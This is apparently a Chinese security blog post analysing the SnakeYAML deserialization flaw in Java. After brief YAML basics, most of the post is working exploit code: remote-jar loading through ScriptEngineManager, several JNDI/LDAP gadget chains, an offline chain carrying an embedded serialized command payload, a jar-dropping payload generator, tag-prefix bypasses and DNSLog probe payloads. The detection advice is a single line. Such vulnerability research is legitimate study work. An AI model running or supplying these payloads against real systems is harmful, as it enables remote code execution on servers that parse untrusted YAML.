YAML简介
snakeyaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
yaml语法中需要注意以下几点:
- YAML区分大小写;
- YAML文件使用.yaml作为扩展名;
- YAML在创建YAML文件时不允许使用制表符,只允许使用空格。
yaml基本要素概要:
- YAML中的注释以#字符开头;
- 必须通过空格将注释与其他标记分开;
- 空白的缩进用于表示结构;
- 标签不包含在YAML文件的缩进中;
- 列表成员用前导连字符-表示;
- 列表成员用方括号括起来,并以逗号分隔;
- 关联数组使用冒号:以键值对的格式表示,并用大括号括起来{};
- 具有单个流的多个文档用3个连字符---分隔;
- 每个文件中的重复节点最初用&符号&表示,稍后用星号*标记;
- YAML总是需要使用冒号和逗号作为列表分隔符,后跟带有标量值的空格;
- 节点应标有感叹号!或双重感叹号!!,后跟字符串,可以扩展为URI或URL。
SnakeYaml序列化与反序列化
SnakeYaml中分别由Yaml.dump和Yaml.load方法对yaml数据进行序列化和反序列化操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.vuln.snakeyaml;
public class Person { String age; String name;
public Person() { System.out.println("this is construct function"); } public String getAge() { System.out.println("this is getAge function"); return age; }
public String getName() { System.out.println("this is getName function"); return name; } public void setAge(String age) { System.out.println("this is setAge function"); this.age = age; } public void setName(String name) { System.out.println("this is setName function"); this.name = name; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.vuln.snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class SnakeYamlDemo { public static void main(String[] args) { Serialize(); Deserialize(); }
public static void Serialize() { Person person = new Person(); person.setAge("21"); person.setName("Duke");
Yaml yaml = new Yaml(); String dumpData = yaml.dump(person); System.out.println(dumpData); }
public static void Deserialize() { String dumpData = "!!org.vuln.snakeyaml.Person {age: 21, name: Tom}";
Yaml yaml = new Yaml(); Person loadData = (Person) yaml.load(dumpData); } }
|
上文中序列化操作中输出字符串!!org.vuln.snakeyaml.Person {age: ‘21’, name: Duke},其中!!符号类似于fastjson中的@type,用于指定反序列化的类名;反序列化操作中调用了被反序列化的类的构造方法和yaml格式内容中包含的属性的setter方法:

SnakeYaml反序列化漏洞
分析
SnakeYaml的反序列化操作Yaml.load类似于Fastjson,yaml数据在反序列化时可以通过!!加全类名来指定反序列化的类,反序列化过程中会实例化该类。因此,攻击者可以通过构造ScriptEngineManager的payload并利用SPI机制,通过URLClassLoader或者其他payload,例如JNDI方式远程加载实例化恶意类从而实现任意代码执行。
当Yaml.load方法的参数外部可控时,攻击者可以传入一个包含恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时,便会触发SnakeYaml反序列化漏洞。
下文通过ScriptEngineManager这条利用链来分析一下SnakeYaml反序列化漏洞的一个大致调用过程。
参考项目https://github.com/artsploit/yaml-payload/,生成恶意的jar包,构造yaml数据如下:
1 2 3 4 5
| !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:8080/yaml-payload.jar"] ]] ]
|

在Yaml.load处下个断点,首先是一个赋值操作,调用StringReader方法处理传入的数据,将字符串存储在StreamReader的this.stream字段值中。

接着调用org.yaml.snakeyaml.Yaml#loadFromReader方法,前面先是一系列的赋值操作,接着将传入的数据封装成一个Composer对象。



在赋值操作调用org.yaml.snakeyaml.parser.ParserImpl的有参构造方法时,有一个替换规则需要注意,即!! -> tag:yaml.org,2002:,后续会利用该替换规则将传入的数据进行字符串替换操作。

接着调用org.yaml.snakeyaml.constructor.BaseConstructor#getSingleData方法,调用org.yaml.snakeyaml.composer.Composer#getSingleNode方法,并根据之前的替换规则对!!符号进行替换。


1
| <org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:8080/yaml-payload.jar)>])>])>])>])>
|
接着调用org.yaml.snakeyaml.constructor.BaseConstructor#constructDocument方法,经过一系列调用,直到调用org.yaml.snakeyaml.constructor.Constructor#getConstructor方法。



跟进org.yaml.snakeyaml.constructor.Constructor#getClassForNode方法,由于classForTag为null,因此进入if循环,调用org.yaml.snakeyaml.constructor.Constructor#getClassForName方法,通过反射获取ScriptEngineManager对象。


接下来向typeTags的Map里put本次tag和class对象的键值对,并返回ScriptEngineManager对象,后续对URLClassLoader和URL处理的逻辑与对ScriptEngineManager处理的逻辑基本相同。当ScriptEngineManager、URLClassLoader和URL都被反射获取到对象后,进入construct方法内,通过反射获取node字段的type属性值所对应的构造方法。

最终通过newInstance方法实例化,首先是URL的实例化,之后是URLClassLoader的实例化,最后当ScriptEngineManager实例化完成后触发远程代码执行。

补充
这里补充一下ScriptEngineManager的构造链为什么是ScriptEngineManager->URLClassLoader->URL。实际上,[[!!表示下一个类当作上一个类的内部属性去使用,在调用ScriptEngineManager这个类时,调用的是它的构造方法,可以看到在javax.script.ScriptEngineManager的有参构造方式中需要传入一个ClassLoader类,这里将URLClassLoader传入。

接着继续调用URLClassLoader的构造方法,其构造方法需要传入一个URL类,进而在payload中,将URL传入。

SPI机制
在上文分析ScriptEngineManager利用链的过程中,核心点涉及到一个重要概念SPI(Service Provider Interface)机制,这是一种服务发现机制,可以通过在ClassPath路径下的META-INF/services文件夹内查找文件,并自动加载文件内所定义的的类。即可以动态为某个接口寻找服务进行实现,使用SPI机制时,需要在ClassPath下的META-INF/services目录内创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名。

Gadgets
JdbcRowSetImpl
由于SnakeYaml在反序列化时类似Fastjson,会调用属性的setter方法,因此可以调用JdbcRowSetImpl类的dataSourceName属性的setter方法即setDataSourceName,然后就触发后续一系列的利用链最后达到任意代码执行的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.vuln.snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class JdbcRowSetImplGadget { public static void main(String[] args) { String yamlData = "!!com.sun.rowset.JdbcRowSetImpl\n" + " dataSourceName:\n" + " \"ldap://127.0.0.1:1389/jjzx1y\"\n" + " autoCommit:\n" + " true"; new Yaml().load(yamlData); } }
|

Spring PropertyPathFactoryBean
该Gadget的构造思路大致为,在org.springframework.beans.factory.config.PropertyPathFactoryBean类中的setBeanFactory方法,该方法能够调用任意beanFactory的getBean方法,在org.springframework.jndi.support.SimpleJndiBeanFactory类中的getBean方法能够利用lookup来触发JNDI注入。


1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.vuln.snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class PropertyPathFactoryBeanGadget { public static void main(String[] args) { String yamlData = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + " targetBeanName: \"ldap://127.0.0.1:1389/5vezso\"\n" + " propertyPath: h3rmesk1t\n" + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + " shareableResources: [\"ldap://127.0.0.1:1389/5vezso\"]"; new Yaml().load(yamlData); } }
|

Apache Commons Configuration
该调用链主要是触发的时候是利用key调用hashCode方法所产生的利用链。
1 2 3 4 5 6 7 8 9 10 11
| package org.vuln.snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class CommonsConfigurationGadget { public static void main(String[] args) { String yamlData = "set:\n" + " ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:1389/5vezso\"]]"; new Yaml().load(yamlData); } }
|

Apache XBean
BadAttributeValueExpException类的构造函数会调用传入对象的toString方法,由于org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding不存在toString方法,因此会调用到其父类的toString方法,即javax.naming.Binding#toString方法,调用getObject方法。


org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding#getObject方法会调用org.apache.xbean.naming.context.ContextUtil#resolve方法,在这里会进行远程恶意类加载。


1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.vuln.snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class XBeanGadget { public static void main(String[] args) { String yamlData = "!!javax.management.BadAttributeValueExpException [\n" + " !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding\n" + " [\"h3rmesk1t\", !!javax.naming.Reference [\"foo\", \"Calculator\", \"http://localhost:8080/\"], !!org.apache.xbean.naming.context.WritableContext []\n" + " ]\n" + "]"; new Yaml().load(yamlData); } }
|

C3P0 JndiRefForwardingDataSource
参考C3P0的JNDI注入的Gadget。
1 2 3 4 5 6 7 8 9 10 11 12
| package org.vuln.snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class JndiRefForwardingDataSourceGadget { public static void main(String[] args) { String yamlData = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + " jndiName: \"ldap://127.0.0.1:1389/5vezso\"\n" + " loginTimeout: -1"; new Yaml().load(yamlData); } }
|

Resource
需要具有如下依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-jndi</artifactId> <version>9.4.8.v20171121</version> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-plus</artifactId> <version>9.4.8.v20171121</version> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-util</artifactId> <version>9.4.8.v20171121</version> </dependency>
|
1 2 3 4 5
| public static void main(String[] args) throws Error ,Exception{ String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n"; Yaml yaml = new Yaml(); yaml.load(poc); }
|
不出网利用
这里给出两种利用方式:
- 利用C3P0中的HEX序列化类加载器反序列化链来实现
- 利用Fastjson 1.2.68将jar包写入本地,然后ScriptEngineManger加载本地jar包进行代码执行
C3P0
参考C3P0中十六进制序列化字节加载器Gadget。
1 2 3 4 5 6 7 8 9 10 11
| package org.vuln.snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class WrapperConnectionPoolDataSourceGadget { public static void main(String[] args) { String yamlData = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + " userOverridesAsString: \"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000164CAFEBABE00000034001801000161070001010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700030100063C696E69743E010003282956010004436F64650C000500060A000400080100116A6176612F6C616E672F52756E74696D6507000A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C000C000D0A000B000E0100126F70656E202D612043616C63756C61746F7208001001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C001200130A000B001401000A536F7572636546696C65010006612E6A617661002100020004000000000001000100050006000100070000001A000200010000000E2AB70009B8000F1211B6001557B1000000000001001600000002001770740002683370770100787372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00095B000B69506172616D547970657371007E00087870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000000737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\""; new Yaml().load(yamlData); } }
|

Fastjson
Fastjson 1.2.68文件写入POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| { "@type": "java.lang.AutoCloseable", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "dst", "append": "false" }, "infl": { "input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==" }, "bufLen": 1048576 }, "protocolVersion": 1 }
|
构造snakeyaml的POC如下,其中filepath是写入路径,base64是要写入文件的base64编码:
1
| !!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },1048576]]
|
1 2 3 4 5 6 7 8 9 10 11
| package snakeYaml;
import org.yaml.snakeyaml.Yaml;
public class SnakeYaml { public static void main(String[] args) { String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]\n"; Yaml yaml = new Yaml(); yaml.load(payload); } }
|
写入本地之后就可以通过ScriptEngineManager方式进行本地读取jar包,实现命令执行。
1 2 3 4 5 6 7 8 9 10 11
| public class SnakeYaml { public static void main(String[] args) { String payload = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"file:///yaml-payload.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(); yaml.load(payload); } }
|
这里贴一个脚本来写入本地文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package com.zlg.serialize.snakeyaml;
import org.yaml.snakeyaml.Yaml;
import java.io.*; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.zip.Deflater;
public class SnakeYamlOffInternet { public static void main(String [] args) throws Exception { String poc = createPoC("./1.txt","./file/yaml-payload.txt"); Yaml yaml = new Yaml(); yaml.load(poc);
}
public static String createPoC(String SrcPath,String Destpath) throws Exception { File file = new File(SrcPath); Long FileLength = file.length(); byte[] FileContent = new byte[FileLength.intValue()]; try{ FileInputStream in = new FileInputStream(file); in.read(FileContent); in.close(); } catch (FileNotFoundException e){ e.printStackTrace(); } byte[] compressbytes = compress(FileContent); String base64str = Base64.getEncoder().encodeToString(compressbytes); String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]"; System.out.println(poc); return poc; }
public static byte[] compress(byte[] data) { byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset(); compresser.setInput(data); compresser.finish(); ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); try { byte[] buf = new byte[1024]; while (!compresser.finished()) { int i = compresser.deflate(buf); bos.write(buf, 0, i); } output = bos.toByteArray(); } catch (Exception e) { output = data; e.printStackTrace(); } finally { try { bos.close(); } catch (IOException e) { e.printStackTrace(); } } compresser.end(); return output; } }
|
Bypass
在上文提到了,每个!!修饰过的类会被替换成对应的tag形式,并且使用了一个固定前缀tag:yaml.org,2002:,因此可以利用这个特性来bypass,参考SnakeYaml 反序列化的一个小 trick。
1 2 3
| !<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://ip/yaml-payload.jar"]]]]
|
1 2 3
| %TAG ! tag:yaml.org,2002: --- !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://ip/yaml-payload.jar"]]]]
|
探测方式
SPI
SnakeYAML在解析带键值对的集合的时候会对键调用hashCode方法,因此会触发DNSLog解析,这里通过构造URL对象并将其构造为一个mapping。
1
| !!java.net.URL [null, "http://1pvn68.dnslog.cn"]: 1
|
1 2 3 4
| %TAG ! tag:yaml.org,2002: --- !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://ip/yaml-payload.jar"]]]]
|
HashCode
具体利用原理详见Y4tacker师傅的分析:SnakeYAML实现Gadget探测。
1 2 3 4 5
| String payload = "{!!java.net.URL [\"http://ra5zf8uv32z5jnfyy18c1yiwfnle93.oastify.com/\"]: 1}";
String poc = "key: [!!java.lang.String {}: 0, !!java.net.URL [null, \"[http://5ydl3f.dnslog.cn](http://5ydl3f.dnslog.cn/)\"]: 1]";
key: [!!java.lang.String {}: 0, !!java.net.URL [null, "http://jeeoy1.dnslog.cn"]: 1]
|

检测与防御
检测
排查服务端环境是否使用了SnakeYaml,若使用,则全局搜索关键字yaml.load(,若存在关键字则需要进一步排查参数是否外部可控。
防御

参考
Java SnakeYaml反序列化漏洞
SnakeYaml 之不出网RCE